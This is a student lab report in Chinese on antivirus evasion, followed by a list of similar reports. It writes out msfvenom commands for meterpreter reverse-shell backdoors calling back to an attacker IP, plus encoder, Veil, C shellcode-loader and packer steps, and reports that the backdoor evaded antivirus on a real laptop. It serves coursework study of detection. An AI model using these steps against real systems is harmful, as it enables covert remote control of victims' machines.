2018-2019-2 20165234 《网络对抗技术》 Exp3 免杀原理与实践
实验三 免杀原理与实践
实验内容
- 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
- 2.通过组合应用各种技术实现恶意代码免杀(1分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
相关知识
免杀
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
检测工具
VirusTotal、Virscan
- 集成了60多个商业杀毒软件的扫描引擎,可以上传免杀处理过的程序进行检测
- 网址:https://www.virustotal.com/、http://www.virscan.org/
基础问题
(1)杀软是如何检测出恶意代码的?
- 检测特征码:人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻合来判断某段代码是否属于病毒。
- 启发式恶意软件检测:如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。
- 基于行为检测:与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
(2)免杀是做什么?
- 免杀就是使得恶意软件不被杀毒软件查杀,二者能够共存。
(3)免杀的基本方法有哪些?
- 改变特征码
- 只有EXE:加壳,使其无法进行逆向,比对病毒库中的特征码
- 有shellcode:利用shellcode生成可执行文件
- 有源代码:用其他语言进行重写再编译
- 改变行为:改变通讯方式或操作模式
- 利用现有playload手工打造一个后门程序
实验步骤
(一)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
- 在实验二中,已经生成后门程序,命令为msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.138 LPORT= -f exe > XXX.exe
- 其中192.168.10.138 为虚拟机Linux的ip地址
(1)使用msf编码器生成后门程序及检测
- 首先使用VirusTotal、Virscan这两个网站对实验二中用msf命令生成的后门程序进行扫描。
- 将后门程序放到VirusTotal网站中扫描,结果如下:

- 将后门程序放到Virscan网站中扫描

- 如果文件名中有数字就会出现图中的错误,需要改名。改过名之后重新检测,结果如下:

VirusTotal有50款杀软报出了病毒,Virscan有29款杀软报出了病毒,因此不加处理的恶意代码能被绝大多数杀毒软件识别。
尝试用msf编码器对后门程序进行一次到多次的编码:
- 一次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.10.138 LPORT= -f exe > backdoor.exe
- 十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -b ‘\x00’ LHOST=192.168.10.138 LPORT= -f exe > backdoor.exe
- 其中-e为编码,-i为指定编码个数

- 如下图所示,一次编码之后似乎有点儿效果

- 下面试试十次编码

- 打脸了,那另一家网站呢

- 我收回前面说的话。。这是因为虽然进行多次编码,但恶意代码的特征码仍然存在,因此依旧能被绝大多数杀毒软件检测出来。由此可见,多次编码对免杀没有太大的效果。
(2)msfvenom生成jar等文件
- msfvenom生成.jar文件夹(Java后门程序):
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.10.138 lport= x> 20165234_backdoor_java.jar

- msfvenom生成php文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.138 lport= x> 20165234_backdoor.php

- 其他类型的文件可以参考msfvenom生成各类Payload命令
(3)veil-evasion
首先安装Veil-Evasion。Veil-Evasion已经在kali虚拟机里,如果没有可以进行在线安装: sudo apt-get install veil-evasion
(当然我属于后者,kali里没有的那种...)

- 输入指令 veil ,启用veil

- 输入 y 继续安装直至完成,在经过漫长的等待之后,出现了如下问题:

- 解决方法为输入指令 /usr/share/veil/config/setup.sh --force --silent ,再次经过漫长的等待之后,成功啦

- 接下来可以搞事情了,首先输入 use evasion 进入veil-evasion

- 输入命令use c/meterpreter/rev_tcp.py进入配置界面,用C语言重写meterperter
- 分别输入 set LHOST 192.168.10.138 、 set LPORT ,设置反弹连接IP及端口,此处IP是kali的IP地址

- 输入 generate 生成文件

- 输入playload文件名字:playload5234

- 到 /var/lib/veil/output/compiled 这个路径下找生成的exe文件

- 使用virscan对文件进行扫描

- 可见起到了一定的效果
emmm在这里插一段,后面几张截图的字体改变了,还有部分有重叠
这是由于当时我心血来潮想尝试设置新字体,结果误删了 wqy-microhei-fonts 、 wqy-zenhei-fonts 这两个文泉驿字体的ttf文件
尝试用指令 apt-get install fonts-wqy-microhei fonts-wqy-zenhei xfonts-wqy 重新安装、修改.conf文件的代码、重启kali虚拟机等方式均没有效果
所以我只能先从主机里拖了雅黑字体进入虚拟机的 /usr/share/fonts 目录下,并且在终端配置文件首选项,单元格间宽度距设为1.40
在这种情况下字体还是稍有重叠,可以说勉强达到了之前的效果吧...
只能先这样了,在实验结束之后我会继研究并且续解决这个问题的。
(4)利用shellcode编程
- 执行shellcode生成命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.138 LPORT= -f c
(二)Linux平台交叉编译Windows应用
(1)使用交叉编译
创建一个文件.c,然后将unsigned char buf[]赋值到其中,代码如下:
vim .c
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
......(替换shellcode)
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}

- 使用命令i686-w64-mingw32-g++ .c -o .exe编译.c文件为可执行文件
- 由于virscan不支持上传带数字的文件,我把它上传至 virus total 进行测试

- 复制到Win10主机里,不出所料gg了

(2)使用压缩壳(UPX)
- 将之前的半手工打造的shellcode复制并命名为 ljf.exe ,进行加壳 upx ljf.exe -o ljf_upxed.exe
- 上传至 virus total 进行测试
将其复制到Win10主机里,依然gg

(3)使用加密壳Hyperion
将上一个生成的文件拷贝到 /usr/share/windows-binaries/hyperion/ 目录中
进入目录 /usr/share/windows-binaries/hyperion/ 中
输入 wine hyperion.exe -v ljf_upxed.exe ljf_upxed_Hyperion.exe

- 将其复制到Win10主机里,尽管该做的步骤都做了,不得不说360反应速度的确很快...

(四)将后门程序传只win7虚拟机中,能够成功获得shell

(三)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
用同学的联想笔记本电脑进行实测,没有被杀软发现。


2018-2019-2 20165234 《网络对抗技术》 Exp3 免杀原理与实践的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
- 20155218《网络对抗》Exp3 免杀原理与实践
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
- 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
- 20155338《网络对抗》Exp3 免杀原理与实践
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
随机推荐
- sqlalchemy 外键
建表 from sqlalchemy.ext.declarative import declarative_base Base = declarative_base() from sqlalchemy ...
- mybatis中常见的问题总结
如下所有举例基于springboot+mybatis项目中,SSH使用mybatis的写法也一样,只是形式不同而已 问题1.org.apache.ibatis.binding.BindingExcep ...
- Python学习步骤如何安排?
一.清楚学习目标 无论是学习什么知识,都要有一个对学习目标的清楚认识. 只有这样才能朝着目标持续前进,少走弯路,从学习中得到不断的提升,享受python学习计划的过程. 二.基本python 知识学习 ...
- C#创建安装、卸载部署程序
分享3: 需求:对已经开发的应用程序进行安装封装操作,即创建安装.卸载部署程序: 分析:程序的开发是为了在不同的人在不同的机器上使用,为了使不同机器使用该软件就需要见程序安装包,并且保证安装包中必须包 ...
- Linux系统编程之事件驱动
通常,我们写服务器处理模型的程序时,有以下几种模型:(1)每收到一个请求,创建一个新的进程,来处理该请求:(2)每收到一个请求,创建一个新的线程,来处理该请求:(3)每收到一个请求,放入一个事件列表, ...
- js检查身份证号是否正确
转的,比较完善的验证身份证号的代码 /* check(ID)验证身份证号码 返回值:0 : "是正确的身份证号" 1 : "身份证校验不符合求和模11=1这个等式&quo ...
- ArrayList如何扩容?
1.调用ArrayList的参构造方法,此时集合内部是一个空数组 transient Object[] elementData; private static final Object[] DEFAU ...
- python正则匹配示例
text="山东省临沂市兰山区 市委大院中区21号楼4单元 276002 奥特曼1号 18254998111" #匹配手机号 m=re.findall(r"1\d{10} ...
- vue组件之间的通信
1.父组件给子组件传递数据 <body> <div id="app"> 父组件:{{total}} <br> <son-component ...
- const命令
一.基本用法 声明一个只读的常量,这个值不会变. const声明常量与let一样,不可重复声明. 二.本质(我困惑的地方) const实际上保证的并不是变量的值不可以改动,而是变量指向的内存地址不可改 ...


